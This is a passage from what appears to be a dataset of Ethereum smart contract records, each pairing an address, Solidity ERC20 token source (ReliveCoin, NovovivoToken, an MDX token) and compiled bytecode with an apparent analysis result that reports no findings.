`spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract ReliveCoin is ERC20 { address owner; constructor( address _owner, string memory _name, string memory _symbol, uint _totalSupply ) ERC20(_name, _symbol) { owner = _owner; _mint(_owner, _totalSupply*(10**10)); } function decimals() public pure override returns(uint8) { return 10; } function mint(address to, uint amount) external { require(msg.sender == owner, "ReliveCoin: Owner_only"); _mint(to, amount); } }
0x608060405234801561001057600080fd5b50600436106100d45760003560e01c806340c10f1911610081578063a457c2d71161005b578063a457c2d714610197578063a9059cbb146101aa578063dd62ed3e146101bd576100d4565b806340c10f191461016757806370a082311461017c57806395d89b411461018f576100d4565b806323b872dd116100b257806323b872dd1461012c578063313ce5671461013f5780633950935114610154576100d4565b806306fdde03146100d9578063095ea7b3146100f757806318160ddd14610117575b600080fd5b6100e16101d0565b6040516100ee9190610a12565b60405180910390f35b61010a6101053660046109de565b610262565b6040516100ee9190610a07565b61011f61027f565b6040516100ee9190610d7c565b61010a61013a3660046109a3565b610285565b610147610366565b6040516100ee9190610d85565b61010a6101623660046109de565b61036b565b61017a6101753660046109de565b6103c7565b005b61011f61018a366004610950565b610426565b6100e1610452565b61010a6101a53660046109de565b610461565b61010a6101b83660046109de565b610503565b61011f6101cb366004610971565b610517565b6060600380546101df90610dc2565b80601f016020809104026020016040519081016040528092919081815260200182805461020b90610dc2565b80156102585780601f1061022d57610100808354040283529160200191610258565b820191906000526020600020905b81548152906001019060200180831161023b57829003601f168201915b5050505050905090565b600061027661026f61054f565b8484610553565b50600192915050565b60025490565b6000610292848484610662565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600160205260408120816102c061054f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610340576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033790610bd1565b60405180910390fd5b61035b8561034c61054f565b6103568685610dab565b610553565b506001949350505050565b600a90565b600061027661037861054f565b84846001600061038661054f565b73ffffffffffffffffffffffffffffffffffffffff908116825260208083019390935260409182016000908120918b16815292529020546103569190610d93565b60055473ffffffffffffffffffffffffffffffffffffffff163314610418576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033790610b9a565b6104228282610826565b5050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152602081905260409020545b919050565b6060600480546101df90610dc2565b6000806001600061047061054f565b73ffffffffffffffffffffffffffffffffffffffff908116825260208083019390935260409182016000908120918816815292529020549050828110156104e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033790610ce8565b6104f96104ee61054f565b856103568685610dab565b5060019392505050565b600061027661051061054f565b8484610662565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260016020908152604080832093909416825291909152205490565b3390565b73ffffffffffffffffffffffffffffffffffffffff83166105a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033790610c8b565b73ffffffffffffffffffffffffffffffffffffffff82166105ed576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033790610ae0565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610655908590610d7c565b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff83166106af576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033790610c2e565b73ffffffffffffffffffffffffffffffffffffffff82166106fc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033790610a83565b610707838383610927565b73ffffffffffffffffffffffffffffffffffffffff831660009081526020819052604090205481811015610767576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033790610b3d565b6107718282610dab565b73ffffffffffffffffffffffffffffffffffffffff80861660009081526020819052604080822093909355908516815290812080548492906107b4908490610d93565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108189190610d7c565b60405180910390a350505050565b73ffffffffffffffffffffffffffffffffffffffff8216610873576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161033790610d45565b61087f60008383610927565b80600260008282546108919190610d93565b909155505073ffffffffffffffffffffffffffffffffffffffff8216600090815260208190526040812080548392906108cb908490610d93565b909155505060405173ffffffffffffffffffffffffffffffffffffffff8316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061091b908590610d7c565b60405180910390a35050565b505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461044d57600080fd5b600060208284031215610961578081fd5b61096a8261092c565b9392505050565b60008060408385031215610983578081fd5b61098c8361092c565b915061099a6020840161092c565b90509250929050565b6000806000606084860312156109b7578081fd5b6109c08461092c565b92506109ce6020850161092c565b9150604084013590509250925092565b600080604083850312156109f0578182fd5b6109f98361092c565b946020939093013593505050565b901515815260200190565b6000602080835283518082850152825b81811015610a3e57858101830151858201604001528201610a22565b81811115610a4f5783604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201527f6573730000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560408201527f7373000000000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206260408201527f616c616e63650000000000000000000000000000000000000000000000000000606082015260800190565b60208082526016908201527f52656c697665436f696e3a204f776e65725f6f6e6c7900000000000000000000604082015260600190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e742065786365656473206160408201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460408201527f6472657373000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460408201527f7265737300000000000000000000000000000000000000000000000000000000606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760408201527f207a65726f000000000000000000000000000000000000000000000000000000606082015260800190565b6020808252601f908201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604082015260600190565b90815260200190565b60ff91909116815260200190565b60008219821115610da657610da6610e16565b500190565b600082821015610dbd57610dbd610e16565b500390565b600281046001821680610dd657607f821691505b60208210811415610e10577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fdfea26469706673582212203f247720c28ae223405d42a5aaebbbbbd0e7ead951da32ce36a317216b85743664736f6c63430008010033
{"success": true, "error": null, "results": {}}
288
0x69bcc5b9340f02cde792ae80eec1bc010bbae6a9
pragma solidity ^0.4.24; pragma experimental "v0.5.0"; /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function allowance(address _owner, address _spender) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring &#39;a&#39; not being zero, but the // benefit is lost if &#39;b&#39; is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } uint256 c = _a * _b; require(c / _a == _b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract DetailedStandardToken is StandardToken { string public name; string public symbol; uint8 public decimals; constructor(string _name, string _symbol, uint8 _decimals) public { name = _name; symbol = _symbol; decimals = _decimals; } } contract NovovivoToken is DetailedStandardToken, Ownable { constructor() DetailedStandardToken("Novovivo Token Test", "NVT", 18) public { totalSupply_ = 8 * 10**9 * 10**uint256(decimals); balances[address(this)] = totalSupply_; } function send(address _to, uint256 _value) onlyOwner public returns (bool) { uint256 value = _value.mul(10 ** uint256(decimals)); ERC20 token; token = ERC20(address(this)); return token.transfer(_to, value); } function stopTest() onlyOwner public { selfdestruct(owner); } function () external { revert(); } }
0x6080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f8578063095ea7b31461018857806318160ddd146101ed57806323b872dd14610218578063313ce5671461029d57806366188463146102ce57806370a0823114610333578063715018a61461038a5780638da5cb5b146103a157806395d89b41146103f8578063a9059cbb14610488578063bdf88d34146104ed578063d0679d3414610504578063d73dd62314610569578063dd62ed3e146105ce578063f2fde38b14610645575b3480156100f257600080fd5b50600080fd5b34801561010457600080fd5b5061010d610688565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014d578082015181840152602081019050610132565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019457600080fd5b506101d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610726565b604051808215151515815260200191505060405180910390f35b3480156101f957600080fd5b50610202610818565b6040518082815260200191505060405180910390f35b34801561022457600080fd5b50610283600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610822565b604051808215151515815260200191505060405180910390f35b3480156102a957600080fd5b506102b2610bdd565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102da57600080fd5b50610319600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bf0565b604051808215151515815260200191505060405180910390f35b34801561033f57600080fd5b50610374600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e82565b6040518082815260200191505060405180910390f35b34801561039657600080fd5b5061039f610eca565b005b3480156103ad57600080fd5b506103b6610fcf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561040457600080fd5b5061040d610ff5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561044d578082015181840152602081019050610432565b50505050905090810190601f16801561047a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561049457600080fd5b506104d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611093565b604051808215151515815260200191505060405180910390f35b3480156104f957600080fd5b506105026112b3565b005b34801561051057600080fd5b5061054f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061134a565b604051808215151515815260200191505060405180910390f35b34801561057557600080fd5b506105b4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506114c0565b604051808215151515815260200191505060405180910390f35b3480156105da57600080fd5b5061062f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116bc565b6040518082815260200191505060405180910390f35b34801561065157600080fd5b50610686600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561071e5780601f106106f35761010080835404028352916020019161071e565b820191906000526020600020905b81548152906001019060200180831161070157829003601f168201915b505050505081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087157600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156108fc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561093857600080fd5b610989826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ab90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a1c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610aed82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ab90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600560009054906101000a900460ff1681565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610d02576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d96565b610d1583826117ab90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f2657600080fd5b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561108b5780601f106110605761010080835404028352916020019161108b565b820191906000526020600020905b81548152906001019060200180831161106e57829003601f168201915b505050505081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110e257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561111e57600080fd5b61116f826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117ab90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611202826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561130f57600080fd5b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000806000600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113ab57600080fd5b6113d3600560009054906101000a900460ff1660ff16600a0a856117ed90919063ffffffff16565b91503090508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb86846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561147b57600080fd5b505af115801561148f573d6000803e3d6000fd5b505050506040513d60208110156114a557600080fd5b81019080805190602001909291905050509250505092915050565b600061155182600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117cc90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561179f57600080fd5b6117a88161182b565b50565b6000808383111515156117bd57600080fd5b82840390508091505092915050565b60008082840190508381101515156117e357600080fd5b8091505092915050565b60008060008414156118025760009150611824565b828402905082848281151561181357fe5b0414151561182057600080fd5b8091505b5092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561186757600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058208bd0cf2b902e5aa0b0ca7ffaa31be3fe0da2b7650794ee4d0ad0717392f349f60029
{"success": true, "error": null, "results": {}}
289
0xe4ffee3b33360e21ea2aec37a39901cb720eb84c
pragma solidity ^0.4.24; /* * Creator: MDX (MEDIEX) */ /* * Abstract Token Smart Contract * */ /* * Safe Math Smart Contract. * https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol */ contract SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * <a href="http://github.com/ethereum/EIPs/issues/20">here</a>. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances 